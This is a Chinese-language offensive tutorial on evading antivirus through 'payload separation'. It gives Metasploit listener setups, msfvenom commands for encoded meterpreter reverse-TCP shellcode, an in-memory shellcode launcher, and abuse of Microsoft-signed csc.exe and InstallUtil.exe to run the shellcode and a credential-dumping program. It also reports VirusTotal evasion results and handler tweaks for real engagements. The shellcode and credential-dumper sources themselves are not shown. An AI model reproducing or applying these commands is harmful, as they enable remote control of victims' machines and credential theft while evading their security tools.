0x00 前言

参考Micro8系列第四十七课:https://micro8.gitbook.io/micro8/contents-1/41-50/47payload-fen-li-mian-sha-si-lu

参考Micro8系列第四十八课:https://micro8.gitbook.io/micro8/contents-1/41-50/48payload-fen-li-mian-sha-si-lu-di-er-ji

0x01 32位系统payload分离免杀

目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对 PE 头文件的查杀。尤其是当 payload 文件越大的时候,特征越容易查杀。

既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免 PE 头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于 windows 下为了更稳定的一种常用手法。载入内存。

下面以MSF为例。

先开启MSF监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf6 exploit(multi/handler) > set lhost 172.17.0.2
lhost => 172.17.0.2
msf6 exploit(multi/handler) > exploit -z

[*] Started reverse TCP handler on 172.17.0.2:8080

接着,payload不采取生成PE文件的方式,而是采取Shellcode的方式、借助第三方直接加载到内存中、避免相关的检测行为:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.17.0.2 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c

既然是Shellcode方式的payload,那么一定需要借助第三方来启动,加载到内存。

自己写第三方加载内存来执行Shellcode是可以的,也可以借用GitHub上的一个开源项目来实现:https://github.com/clinicallyinane/shellcode_launcher/

1
2
3
D:\sec\tools\shellcode_launcher-master>shellcode_launcher.exe -i test.c
Starting up
Calling file now. Loaded binary at: 0x001e0000

virscan免杀效果:

virustotal免杀效果,相比之前是提高了查杀率了:

0x02 64位系统payload分离免杀

前面的payload分离免杀思路是专门针对32位系统以及针对包括XP以下版本系统的。而在实战中,目标机器多为Windows 7以上版本,并且以64位居多。

前面的思路是借助了非微软自带第三方来执行Shellcode,而本次将采取调用微软自带来执行Shellcode,好处就是调用自带本身一定就会有微软的签名,从而绕过反病毒软件。

Windows 自 Windows XP Media Center Edition 开始默认安装 NET Framework,直至目前的 Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。

csc.exe

C#是一个现代的、通用的、面向对象的编程语言,它是由微软(Microsoft)开发的,由Ecma和ISO核准认可的。

C#在Windows平台下的编译器名称是csc.exe,如果.NET FrameWork SDK安装在C盘,那么jiu可以在C:\Windows\Microsoft.NET\Framework\xxxxx目录中找到它。为了使用方便,可以将该目录添加到Path环境变量中去。

test.cs:

1
2
3
4
5
6
7
8
using System;
class TestApp
{
public static void Main()
{
Console.WriteLine("Mi1k7ea!");
}
}

输入下列行命令就能将test.cs编译成名为test.exe的console应用程序:

1
2
3
4
5
6
7
8
9
10
D:\tmp>csc /target:exe test.cs
Microsoft (R) Visual C# Compiler version 4.8.3761.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240


D:\tmp>test.exe
Mi1k7ea!

InstallUtil.exe

微软官方介绍如下:

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace. This tool is automatically installed with Visual Studio. To run the tool,use the Developer Command Prompt (or the Visual Studio Command Prompt in Windows7). For more information, see Command Prompts. https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

32位和64位的默认安装路径:

1
2
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework64

Demo1

以抓密码为例。

生成密钥:

1
sn -k installutil.snk

执行csc:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mi1k7ea.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe C:\Users\Johnn\Desktop\mimi.cs

执行InstallUtil:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Johnn\Desktop\Mi1k7ea.exe

Demo2

以MSF为例。

生成Shellcode:

1
msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b '\x00' -e x64/xor -i 10 -f csharp -o ./Mi1k7ea.txt

替换Shellcode,M.cs:

1
2


编译:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:Mi1k7ea.exe M.cs

运行:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U Mi1k7ea.exe

注意,在实际测试的过程,开启监听需要配置一些参数,防止假死与假session:

1
2
3
4
5
6
7
8
9
10
msf exploit(multi/handler) > set exitonsession false 
exitonsession => false
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) >
msf exploit(multi/handler) > set Stageencoder x64/xor
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf exploit(multi/handler) > exploit -j -z

这里暂时无对应的cs文件。。。